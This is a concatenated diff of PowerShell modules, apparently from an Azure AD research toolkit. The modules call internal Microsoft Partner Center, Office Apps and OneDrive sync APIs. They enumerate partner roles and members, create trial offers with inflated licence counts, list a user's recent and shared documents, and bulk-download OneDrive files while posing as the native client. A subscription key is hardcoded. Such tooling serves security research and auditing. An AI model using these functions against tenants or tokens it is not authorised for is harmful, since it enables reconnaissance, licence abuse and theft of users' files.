0D5E0E30-4B24-429F-B826-33B3F021B8BD Microsoft Intune Device Trial 10000000
|
||||
2E481A78-9C3C-4FDF-ABBF-C7268201397A Microsoft Stream Trial 10000000
|
||||
33657A0F-4B2B-453B-A58E-99469D6E58A0 Power Automate per user plan Trial 10000000
|
||||
40BE278A-DFD1-470A-9EF7-9F2596EA7FF9 Microsoft Intune Trial 10000000
|
||||
83D3609A-14C1-4FC2-A18E-0F5CA7047E46 Power Apps per user plan Trial 10000000
|
||||
87DD2714-D452-48A0-A809-D2F58C4F68B7 Enterprise Mobility + Security E5 Trial 10000000
|
||||
A0DB242A-96D7-4F99-BD52-05C0D5556257 Azure Advanced Threat Protection for Users Trial 10000000
|
||||
C38088A5-CD04-440E-A46B-85873D58BB26 Power Automate per user with attended RPA plan Trial 10000000
|
||||
FAF849AB-BD30-42B2-856C-8F1EDC230CE9 Azure Active Directory Premium P2 Trial 10000000
|
||||
87857ADF-3D82-4AD3-9861-F6E076401ADD Dynamics 365 Guides Trial 10000000
|
||||
CCA26D6B-360E-44AB-8376-C17F30A8ACF7 Dynamics 365 Remote Assist Trial 10000000
|
||||
D6B9A50A-E0F7-4366-842A-8C30B6D67CDC Dynamics 365 Remote Assist Attach Trial 10000000
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$AccessToken,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[ValidateSet('Trial','Purchase')]
|
||||
[String]$Type="Trial",
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$CountryCode="US",
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$Locale="en-US"
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Get from cache if not provided
|
||||
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "fa3d9a0c-3fb0-42cc-9193-47c7ecd2edbd" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
|
||||
|
||||
# Invoke the API call
|
||||
$response = Invoke-MSPartnerAPI -Method Get -AccessToken $AccessToken -Url "internal/v1/quote/offers?inviteType=$Type&countryCode=$CountryCode&locale=$Locale"
|
||||
|
||||
$response.items
|
||||
}
|
||||
}
|
||||
|
||||
# Creates a new trial offer
|
||||
# Sep 22nd 2021
|
||||
function New-MSPartnerTrialOffer
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Creates a new trial offer.
|
||||
|
||||
.DESCRIPTION
|
||||
Creates a new trial offer. Allows providing more licenses than in standard trial offers (up to 10 million).
|
||||
The working limit seems to be around 10000 licenses.
|
||||
|
||||
.Parameter AccessToken
|
||||
The access token used to create an trial offer.
|
||||
|
||||
.Parameter ProductIds
|
||||
Ids of products to include in the trial offer
|
||||
|
||||
.Parameter CountryCode
|
||||
Two letter country code. Defaults to "US".
|
||||
|
||||
.Parameter Quantity
|
||||
Quantity of licenses for the product. Defaults to 25.
|
||||
|
||||
.Parameter PartnerId
|
||||
MS Partner id.
|
||||
|
||||
.Parameter IncludeDelegatedAdministrationRequest
|
||||
Whether include delegated administration request
|
||||
|
||||
.Example
|
||||
PS C:\>Get-AADIntAccessTokenForMSPartner -SaveToCache
|
||||
PS C:\>Get-AADIntMSPartnerOffers | Format-Table id,name,maximumQuantity
|
||||
|
||||
id name maximumQuantity
|
||||
-- ---- ---------------
|
||||
01824D11-5AD8-447F-8523-666B0848B381 Azure Active Directory Premium P1 Trial 10000000
|
||||
0A845364-6AA2-4046-8198-6CF6461F7F2B Project Plan 3 Trial 10000000
|
||||
0F5B471A-08EF-4E69-ABB0-BB4DA43F0344 Visio Plan 2 Trial 10000000
|
||||
|
||||
PS C:\>New-MSPartnerTrialOffer -PartnerId 7086220 -ProductIds 0F5B471A-08EF-4E69-ABB0-BB4DA43F0344 -Quantity 9999
|
||||
Offer saved to a file: Offer_a1041c87-aad3-4653-a93a-0b20aa3e570a.json
|
||||
https://portal.office.com/partner/partnersignup.aspx?type=Trial&id=a1041c87-aad3-4653-a93a-0b20aa3e570a&msppid=7086220
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$AccessToken,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[guid[]]$ProductIds,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$CountryCode="US",
|
||||
[Parameter(Mandatory=$True)]
|
||||
[int]$PartnerId,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[int]$Quantity=25,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[bool]$IncludeDelegatedAdministrationRequest = $false
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Get from cache if not provided
|
||||
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "fa3d9a0c-3fb0-42cc-9193-47c7ecd2edbd" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
|
||||
|
||||
$items=@()
|
||||
|
||||
$line = 0
|
||||
foreach($id in $ProductIds)
|
||||
{
|
||||
$items += New-Object -TypeName psobject -Property ([ordered]@{
|
||||
"lineItemNumber" = $line++
|
||||
"offerId" = $id.ToString().ToUpper() # MUST be in upper case
|
||||
"partnerId" = $PartnerId
|
||||
"includedQuantity" = $Quantity
|
||||
})
|
||||
}
|
||||
|
||||
$body = @{
|
||||
"items" = $items
|
||||
"countryCode" = $CountryCode
|
||||
"delegatedAdministrationPartnerRequested" = $IncludeDelegatedAdministrationRequest
|
||||
}
|
||||
|
||||
# Invoke the API call
|
||||
try
|
||||
{
|
||||
$response = Invoke-MSPartnerAPI -Method Post -AccessToken $AccessToken -Url "internal/v1/advisorquote" -Body ($body | ConvertTo-Json)
|
||||
}
|
||||
catch
|
||||
{
|
||||
Write-Error ($_.ErrorDetails.Message | ConvertFrom-Json).description
|
||||
return
|
||||
}
|
||||
|
||||
# Filename
|
||||
$fileName = "Offer_$($response.id).json"
|
||||
|
||||
# Url
|
||||
$Url = "https://portal.office.com/partner/partnersignup.aspx?type=Trial&id=$($response.id)&msppid=$PartnerId"
|
||||
|
||||
# Write to file
|
||||
$response | ConvertTo-Json | Set-Content $fileName
|
||||
|
||||
Write-Host "Offer saved to a file: $fileName"
|
||||
|
||||
return $Url
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
# Creates a new delegated admin request
|
||||
# Sep 22nd 2021
|
||||
function New-MSPartnerDelegatedAdminRequest
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Creates a new delegated admin request.
|
||||
|
||||
.DESCRIPTION
|
||||
Creates a new delegated admin request.
|
||||
|
||||
.Parameter TenantId
|
||||
TenantId of the partner organisation.
|
||||
|
||||
.Parameter Domain
|
||||
Any registered domain of the partner organisation.
|
||||
|
||||
.Example
|
||||
PS C:\>New-AADIntMSPartnerDelegatedAdminRequest -Domain company.com
|
||||
|
||||
https://admin.microsoft.com/Adminportal/Home?invType=Administration&partnerId=c7e52a77-e461-4f2e-a652-573305414be9#/BillingAccounts/partner-invitation
|
||||
|
||||
.Example
|
||||
PS C:\>New-AADIntMSPartnerDelegatedAdminRequest -TenantId c7e52a77-e461-4f2e-a652-573305414be9
|
||||
|
||||
https://admin.microsoft.com/Adminportal/Home?invType=Administration&partnerId=c7e52a77-e461-4f2e-a652-573305414be9#/BillingAccounts/partner-invitation
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(ParameterSetName='TenantId',Mandatory=$True)]
|
||||
[guid]$TenantId,
|
||||
[Parameter(ParameterSetName='Domain',Mandatory=$True)]
|
||||
[String]$Domain
|
||||
)
|
||||
Process
|
||||
{
|
||||
if($Domain)
|
||||
{
|
||||
$TenantId = Get-TenantID -Domain $Domain
|
||||
}
|
||||
|
||||
return "https://admin.microsoft.com/Adminportal/Home?invType=Administration&partnerId=$TenantId#/BillingAccounts/partner-invitation"
|
||||
}
|
||||
}
|
||||
|
||||
# Get partner roles
|
||||
# Dec 13th 2021
|
||||
function Get-MSPartnerRoles
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$AccessToken
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Get from cache if not provided
|
||||
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "fa3d9a0c-3fb0-42cc-9193-47c7ecd2edbd" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
|
||||
|
||||
# Invoke the API call
|
||||
$response = Invoke-MSPartnerAPI -Method Get -AccessToken $AccessToken -Url "v1/roles"
|
||||
|
||||
if($response.items.Count -gt 0)
|
||||
{
|
||||
$retVal = @()
|
||||
$roles = $response.items
|
||||
foreach($role in $roles)
|
||||
{
|
||||
# Just get the partner roles
|
||||
if($role.category -ne "tenant")
|
||||
{
|
||||
$retVal += New-Object psobject -Property ([ordered]@{"Id" = $role.id; "Name" = $role.name})
|
||||
}
|
||||
}
|
||||
|
||||
$retVal
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
# Get partner role member
|
||||
# Dec 13th 2021
|
||||
function Get-MSPartnerRoleMembers
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Lists MS Partner roles and their members
|
||||
|
||||
.DESCRIPTION
|
||||
Lists MS Partner roles and their members
|
||||
|
||||
.Parameter AccessToken
|
||||
The access token used to get the list of partner organisations.
|
||||
|
||||
.Example
|
||||
PS C:\>Get-AADIntAccessTokenForMSPartner -SaveToCache
|
||||
PS C:\>Get-AADIntMSPartnerRoleMembers
|
||||
|
||||
Id Name Members
|
||||
-- ---- -------
|
||||
0e7f236d-a3d8-458a-bd49-eaf200d12cd5 Admin Agent {@{displayName=Admin; userPrincipalNa...
|
||||
082cc3a5-2eff-4274-8fe1-ad5b4387ef55 Helpdesk Agent {@{displayName=User; userPrincipalN...
|
||||
6b07cbb3-16e4-453a-82f4-7a4310c21bc9 MPN Partner Administrator @{displayName=User 1; userPrincipalN...
|
||||
e760e836-1c2d-47d2-9dee-92131ce57878 Report Viewer
|
||||
9ac2b88b-6fad-416c-b849-433f8090de68 Executive Report Viewer @{displayName=User 2; userPrincipalN...
|
||||
B53FEC78-7449-4A46-A071-C8BEF4A45134 Account Admin
|
||||
8d3c7e52-447f-4cfd-9b50-1e4dd00495b7 Cosell Solution Admin
|
||||
0a28a37c-ec3a-462a-a87b-c409abbdba68 Incentive Administrator
|
||||
f712b351-0d8f-4051-a374-0abab5a49b5b Incentive User
|
||||
140c97a7-ab21-4c2f-8f3b-9086898de0d5 Incentive Readonly User
|
||||
3d8005f3-1d34-4191-9969-b6da64b83777 Marketing Content Administrator
|
||||
4b38bcd9-a505-445b-af32-06c05aaeddd7 Referrals Administrator
|
||||
2d9bb971-5414-4bc7-a826-079da1fa0c93 Referrals User
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$AccessToken
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Get from cache if not provided
|
||||
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "fa3d9a0c-3fb0-42cc-9193-47c7ecd2edbd" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
|
||||
|
||||
# Get the roles
|
||||
$roles = Get-MSPartnerRoles -AccessToken $AccessToken
|
||||
|
||||
# Get the members
|
||||
foreach($role in $roles)
|
||||
{
|
||||
# Invoke the API call
|
||||
$response = Invoke-MSPartnerAPI -Method Get -AccessToken $AccessToken -Url "v1/roles/$($role.id)/usermembers"
|
||||
|
||||
if($response.items.Count -gt 0)
|
||||
{
|
||||
$members = $response.items | select displayName,userPrincipalName
|
||||
$role | Add-Member -NotePropertyName "Members" -NotePropertyValue $members
|
||||
}
|
||||
}
|
||||
|
||||
$roles
|
||||
}
|
||||
}
|
||||
|
||||
# Finds MS Partners
|
||||
# Dec 14th 2021
|
||||
function Find-MSPartners
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Finds MS Partners using the given criteria.
|
||||
|
||||
.DESCRIPTION
|
||||
Finds MS Partners using the given criteria.
|
||||
|
||||
.Parameter MaxResults
|
||||
Maximum number of partners to return. Defaults to 100.
|
||||
|
||||
.Parameter Country
|
||||
Two letter country code
|
||||
|
||||
.Example
|
||||
PS C:\>Find-AADIntMSPartners -Country FI -MaxResults 20 | Sort CompanyName
|
||||
|
||||
TenantId CompanyName Country Address
|
||||
-------- ----------- ------- -------
|
||||
6f28e5b8-67fe-4207-a048-cc17b8e13499 Addend Analytics LLP FI @{country=FI; region=Europe; city...
|
||||
12f4ed76-f694-4b1e-9b57-c3849eea3f6c CANORAMA OY AB FI @{country=FI; region=Europe; city...
|
||||
bff3224c-767a-4628-8c53-23a4df13a03c CloudNow IT Oy FI @{country=FI; region=Europe; city...
|
||||
719dc930-9d0e-4ea4-b53e-a2c65a625979 Cloudriven Oy FI @{country=FI; region=Europe; city...
|
||||
6f1ff46b-bd45-422f-ad28-485c03cd59fc Cubiq Analytics Oy FI @{country=FI; region=Europe; city...
|
||||
6fce4bb8-3501-41c9-afcc-db0fb51c7e3d Digia FI @{country=FI; region=Europe; city...
|
||||
87fc9aba-de47-425e-b0ac-712471cbb34f Fujitsu Limited FI @{country=FI; region=Europe; city...
|
||||
a951d4b8-d93b-4425-a116-6a0b4efbb964 Futurice Oy FI @{country=FI; region=Europe; city...
|
||||
4b4e036d-f94b-4209-8f07-6860b3641366 Gofore Oyj FI @{country=FI; region=Europe; city...
|
||||
4eee4718-7215-41bf-b130-25ce43c85b33 Henson Group FI @{country=FI; region=Europe; city...
|
||||
b6602c2f-7bd6-49d3-a2aa-f0b0359a73ef Henson Group Service Ireland Limited FI @{country=FI; region=Europe; city...
|
||||
7c0c36f5-af83-4c24-8844-9962e0163719 Hexaware Technologies FI @{country=FI; region=Europe; city...
|
||||
99ebba89-0dd9-4b7b-8f23-95339d2a81e1 IBM FI @{country=FI; region=Europe; city...
|
||||
1c8672ad-d9cc-4f59-b839-90be132d96ab IFI Techsolutions Pvt Ltd FI @{country=FI; region=Europe; city...
|
||||
1e3ee4c0-94a9-45a4-9151-07e1858e6372 InlineMarket Oy FI @{country=FI; region=Europe; city...
|
||||
431fbbea-8544-49f8-9891-e8a4e4756e83 Medha Hosting (OPC) Ltd FI @{country=FI; region=Europe; city...
|
||||
04207efa-4522-4391-a621-5708a40b634d MPY Yrityspalvelut Oyj FI @{country=FI; region=Europe; city...
|
||||
8c467c92-8e59-426e-a612-e23d69cb4437 Myriad Technologies FI @{country=FI; region=Europe; city...
|
||||
50950a2d-dde4-4887-978d-630468d7f741 Solteq Plc FI @{country=FI; region=Europe; city...
|
||||
eab8b88b-cf1a-441a-9ad9-6a8d94dcccbb Solu Digital Oy FI @{country=FI; region=Europe; city...
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$False)]
|
||||
[int]$MaxResults=100,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[string]$Country,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[ValidateSet("Consulting","Custom solution","Deployment or Migration","Hardware","IP Services(ISV)","Integration","Learning and Certification","Licensing","Managed Services (MSP)","Project management")]
|
||||
[string[]]$Services
|
||||
)
|
||||
Process
|
||||
{
|
||||
if($Domain)
|
||||
{
|
||||
$TenantId = Get-TenantID -Domain $Domain
|
||||
}
|
||||
if($services)
|
||||
{
|
||||
$servicesParameter = ";services=$([System.Web.HttpUtility]::UrlEncode(($services -join ",")))"
|
||||
}
|
||||
|
||||
$totalresults = 0
|
||||
$offSet = 0
|
||||
$pageSize = 20
|
||||
|
||||
$first=$true
|
||||
|
||||
# For book keeping, returns many duplicates :(
|
||||
$foundTenants = @()
|
||||
|
||||
while($totalResults -lt $MaxResults)
|
||||
{
|
||||
$url = "https://main.prod.marketplacepartnerdirectory.azure.com/api/partners?filter=pageSize=$pageSize;pageOffset=$offSet;country=$Country;onlyThisCountry=true$servicesParameter"
|
||||
|
||||
# Invoke the API call
|
||||
$response = Invoke-RestMethod -UseBasicParsing -Method Get -Uri $url
|
||||
|
||||
# Print out the estimated number of results
|
||||
if($first)
|
||||
{
|
||||
Write-Host "Estimated total matches: $($response.estimatedTotalMatchingPartners)"
|
||||
$first = $false
|
||||
}
|
||||
|
||||
# Adjust the max results as needed
|
||||
$MaxResults = [math]::Min($MaxResults,$response.estimatedTotalMatchingPartners)
|
||||
|
||||
|
||||
$items = $response.matchingPartners.items
|
||||
|
||||
# Loop through the items
|
||||
foreach($item in $items)
|
||||
{
|
||||
if($foundTenants -notcontains $item.partnerId)
|
||||
{
|
||||
$totalResults++
|
||||
|
||||
$foundTenants += $item.partnerId
|
||||
$attributes = [ordered]@{
|
||||
"TenantId" = $item.partnerId
|
||||
"CompanyName" = $item.name
|
||||
"Country" = $item.location.address.country
|
||||
"Address" = $item.location.address
|
||||
}
|
||||
New-Object psobject -Property $attributes
|
||||
}
|
||||
}
|
||||
|
||||
# Continue as needed
|
||||
if($items.count -eq $pageSize)
|
||||
{
|
||||
# More items
|
||||
$offSet += $pageSize
|
||||
}
|
||||
else
|
||||
{
|
||||
# Got all
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,42 @@
|
||||
# This file contains utility functions for MS Partner operations.
|
||||
|
||||
# Invoke parter api
|
||||
# Aug 27th 2021
|
||||
function Invoke-MSPartnerAPI
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$AccessToken,
|
||||
[Parameter(Mandatory=$False)]
|
||||
$Body,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$Url,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[ValidateSet('Get','Post','Patch','Put')]
|
||||
[String]$Method
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Get from cache if not provided
|
||||
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "fa3d9a0c-3fb0-42cc-9193-47c7ecd2edbd" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
|
||||
|
||||
# Set the headers
|
||||
$headers=@{
|
||||
"Authorization" = "Bearer $AccessToken"
|
||||
"ocp-apim-subscription-key" = "c306f5dd740f4946920822865932a356"
|
||||
"MS-PartnerCenter-Client" = "Partner Center Web"
|
||||
}
|
||||
|
||||
# Invoke the command with Invoke-WebRequest so we can remove BOM
|
||||
$response = Invoke-WebRequest -UseBasicParsing -Method $Method -Uri "https://api.partnercenter.microsoft.com/$Url" -Headers $headers -Body $body
|
||||
|
||||
$responseBytes = New-Object byte[] $response.RawContentLength
|
||||
$response.RawContentStream.Read($responseBytes,0,$response.RawContentLength) | Out-Null
|
||||
|
||||
# Strip the BOM and convert to json
|
||||
[text.encoding]::UTF8.getString([byte[]](Remove-BOM -ByteArray $responseBytes)) | ConvertFrom-Json
|
||||
|
||||
|
||||
}
|
||||
}
|
||||
+120
@@ -0,0 +1,120 @@
|
||||
# This script contains functions for OfficeApps
|
||||
# https://office.microsoft.com/Config15
|
||||
|
||||
|
||||
# Get user Office connections
|
||||
function Get-UserConnections
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Returns user's office connections
|
||||
|
||||
.DESCRIPTION
|
||||
Returns user's office connections
|
||||
|
||||
.Example
|
||||
$cred=Get-Credential
|
||||
$at=Get-AADIntAccessTokenForOfficeApps -credentials $cred
|
||||
Get-AADIntUserConnections -AccessToken $at
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$AccessToken
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Get from cache if not provided
|
||||
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "ab9b8c07-8f02-4f72-87fa-80105867a763" -Resource "https://officeapps.live.com"
|
||||
|
||||
$headers = @{
|
||||
"Authorization"="Bearer $AccessToken"
|
||||
}
|
||||
|
||||
$response=Invoke-RestMethod -UseBasicParsing -Uri "https://odc.officeapps.live.com/odc/servicemanager/userconnected" -Headers $headers
|
||||
|
||||
return $response.ConnectedServicesResults.ServiceConnections.Connection
|
||||
}
|
||||
}
|
||||
|
||||
# Get recently used Office file connections
|
||||
function Get-RecentLocations
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Returns user's recent office file locations
|
||||
|
||||
.DESCRIPTION
|
||||
Returns user's recent office file locations
|
||||
|
||||
.Example
|
||||
$cred=Get-Credential
|
||||
$at=Get-AADIntAccessTokenForOfficeApps -credentials $cred
|
||||
Get-AADIntRecentLocations -AccessToken $at
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$AccessToken,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[ValidateSet('Word','PowerPoint','OneNote','Excel','Visio','Sway','All')]
|
||||
[String]$App="All",
|
||||
[Parameter(Mandatory=$False)]
|
||||
[Int]$Show=100
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Get from cache if not provided
|
||||
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "ab9b8c07-8f02-4f72-87fa-80105867a763" -Resource "https://officeapps.live.com"
|
||||
|
||||
$headers = @{
|
||||
"Authorization"="Bearer $AccessToken"
|
||||
}
|
||||
if($App -eq "All")
|
||||
{
|
||||
$Apps='Word,PowerPoint,OneNote,Excel,Visio,Sway'
|
||||
}
|
||||
else
|
||||
{
|
||||
$Apps=$App
|
||||
}
|
||||
|
||||
Invoke-RestMethod -UseBasicParsing -Uri "https://ocws.officeapps.live.com/ocs/locations/recent?apps=$Apps&show=$Show" -Headers $headers
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
# Gets documents shared with the given user
|
||||
function Get-SharedWithUser
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Returns the documents shared with the given user
|
||||
|
||||
.DESCRIPTION
|
||||
Returns the documents shared with the given user
|
||||
|
||||
.Example
|
||||
$cred=Get-Credential
|
||||
$at=Get-AADIntAccessTokenForOfficeApps -credentials $cred
|
||||
Get-AADIntSharedWithUser -AccessToken $at
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$AccessToken
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Get from cache if not provided
|
||||
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "ab9b8c07-8f02-4f72-87fa-80105867a763" -Resource "https://officeapps.live.com"
|
||||
|
||||
$headers = @{
|
||||
"Authorization"="Bearer $AccessToken"
|
||||
}
|
||||
|
||||
$response=Invoke-RestMethod -UseBasicParsing -Uri "https://ocws.officeapps.live.com/ocs/docs/v2.0/sharedwithme" -Headers $headers
|
||||
|
||||
return $response.shared_documents
|
||||
}
|
||||
}
|
||||
+504
@@ -0,0 +1,504 @@
|
||||
# Functions for emulating OneDrive native client
|
||||
|
||||
# Gets the ID of default document library
|
||||
# Nov 26th 2019
|
||||
function Get-ODDefaultDocLibId
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
$OneDriveSettings
|
||||
)
|
||||
Process
|
||||
{
|
||||
$command+="/_api/web/DefaultDocumentLibrary/ID"
|
||||
|
||||
$response = Invoke-ODCommand -Command $command -OneDriveSettings $OneDriveSettings
|
||||
|
||||
# Return
|
||||
$response.D.id
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
# Gets the Site ID of user's OneDrive
|
||||
# Nov 26th 2019
|
||||
function Get-ODDefaultSiteId
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
$OneDriveSettings
|
||||
)
|
||||
Process
|
||||
{
|
||||
$command+="/_api/Site/Id"
|
||||
|
||||
$response = Invoke-ODCommand -Command $command -OneDriveSettings $OneDriveSettings
|
||||
|
||||
# Return
|
||||
$response.d.id
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
# Gets the user's OneDrive sync policy
|
||||
# Nov 26th 2019
|
||||
function Get-ODSyncPolicy
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
$OneDriveSettings
|
||||
)
|
||||
Process
|
||||
{
|
||||
$command+="/_api/SPFileSync/sync/$($OneDriveSettings.DefaultDocumentLibraryId)/policy/"
|
||||
|
||||
$response = Invoke-ODCommand -Command $command -OneDriveSettings $OneDriveSettings -Accept "Application/xml"
|
||||
|
||||
# Return
|
||||
$rules=$response.PolicyDocument.Rule
|
||||
|
||||
$attributes = @{}
|
||||
foreach($rule in $rules)
|
||||
{
|
||||
$attributes[$rule.name] = $rule.value
|
||||
}
|
||||
|
||||
$policy = New-Object PSObject -Property $attributes
|
||||
|
||||
# return
|
||||
$policy
|
||||
}
|
||||
}
|
||||
|
||||
# Gets the list of user's OneDrive sync files
|
||||
# Nov 26th 2019
|
||||
function Get-ODSyncFiles
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
$OneDriveSettings,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[ValidateRange(1,1000)]
|
||||
[int]$MaxItems=1000,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[guid]$DomainGuid,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[boolean]$Mac=$false,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[guid]$MachineGuid
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Set the special headers
|
||||
$headers=@{"X-MachineId" = "$($MachineGuid.toString())"}
|
||||
|
||||
if(!$MAC)
|
||||
{
|
||||
$headers["X-MachineDomainInfo"] = "{$($DomainGuid.toString())}"
|
||||
}
|
||||
|
||||
# Paging..
|
||||
$syncToken = $null
|
||||
$continue = $true
|
||||
|
||||
# Return value
|
||||
$retVal = @()
|
||||
|
||||
while($continue)
|
||||
{
|
||||
$command="/_api/SPFileSync/sync/$($OneDriveSettings.DefaultDocumentLibraryId)/RootFolder?Filter=changes&InlineBlobs=false&MaxItemCount=$MaxItems&View=SkyDriveSync"
|
||||
if(![string]::IsNullOrEmpty($syncToken))
|
||||
{
|
||||
$command += "&SyncToken=$syncToken"
|
||||
}
|
||||
|
||||
# We need the response headers to know whether we've done or is there more data to get
|
||||
$responseHeaders = @{}
|
||||
|
||||
# Get the response using StreamReader, otherwise the response is not properly decoded (using ISO-8859-1 instead of UTF-8)
|
||||
$response = Invoke-ODCommand -Command $command -OneDriveSettings $OneDriveSettings -Accept "Application/xml" -headers $headers -UseStreamReader -ResponseHeaders ([ref]$responseHeaders) -Mac $Mac
|
||||
|
||||
if($response -eq $null -or [String]::IsNullOrEmpty($responseHeaders["Value"]["X-HasMoreData"]) -or $responseHeaders["Value"]["X-HasMoreData"] -ne "True")
|
||||
{
|
||||
$continue = $false
|
||||
}
|
||||
else
|
||||
{
|
||||
$syncToken = $responseHeaders["Value"]["X-SyncToken"]
|
||||
}
|
||||
|
||||
# Add to return array
|
||||
[xml]$xmlResponse = $response
|
||||
$retVal += $xmlResponse
|
||||
|
||||
}
|
||||
|
||||
# Return
|
||||
$retVal
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
# Downloads the user's OneDrive files
|
||||
# Nov 26th 2019
|
||||
function Get-OneDriveFiles
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Downloads user's OneDrive
|
||||
|
||||
.DESCRIPTION
|
||||
Downloads the user's OneDrive root folder and files recursively
|
||||
|
||||
.Parameter OneDriveSettings
|
||||
OneDrive settings of the user
|
||||
|
||||
.Parameter PrintOnly
|
||||
Doesn't download the files
|
||||
|
||||
.Parameter FoldersOnly
|
||||
Doesn't handle files but only folders
|
||||
|
||||
.Parameter Mac
|
||||
Pretend to be a macOS client
|
||||
|
||||
.Example
|
||||
$os = New-AADIntOneDriveSettings
|
||||
Get-AADIntOneDriveFiles -OneDriveSettings $os | Format-Table
|
||||
|
||||
Path Size Created Modified ResourceID
|
||||
---- ---- ------- -------- ----------
|
||||
\RootFolder\Document1.docx 11032 2.12.2019 20.47.23 2.12.2019 20.48.46 5e7acf393a2e45f18c1ce6caa7...
|
||||
\RootFolder\Book.xlsx 8388 2.12.2019 20.49.14 2.12.2019 20.50.14 b26c0a38d4d14b23b785576e29...
|
||||
\RootFolder\Docs\Document1.docx 84567 9.12.2019 11.24.40 9.12.2019 12.17.50 d9d51e47b66c4805aff3a08763...
|
||||
\RootFolder\Docs\Document2.docx 31145 7.12.2019 17.28.37 7.12.2019 17.28.37 972f9c317e1e468fb2b6080ac2...
|
||||
|
||||
.Example
|
||||
$os = New-AADIntOneDriveSettings
|
||||
Get-AADIntOneDriveFiles -OneDriveSettings $os -PrintOnly | Format-Table
|
||||
|
||||
Path Size Created Modified ResourceID
|
||||
---- ---- ------- -------- ----------
|
||||
\RootFolder\Document1.docx 11032 2.12.2019 20.47.23 2.12.2019 20.48.46 5e7acf393a2e45f18c1ce6caa7...
|
||||
\RootFolder\Book.xlsx 8388 2.12.2019 20.49.14 2.12.2019 20.50.14 b26c0a38d4d14b23b785576e29...
|
||||
\RootFolder\Docs\Document1.docx 84567 9.12.2019 11.24.40 9.12.2019 12.17.50 d9d51e47b66c4805aff3a08763...
|
||||
\RootFolder\Docs\Document2.docx 31145 7.12.2019 17.28.37 7.12.2019 17.28.37 972f9c317e1e468fb2b6080ac2...
|
||||
|
||||
.Example
|
||||
$os = New-AADIntOneDriveSettings
|
||||
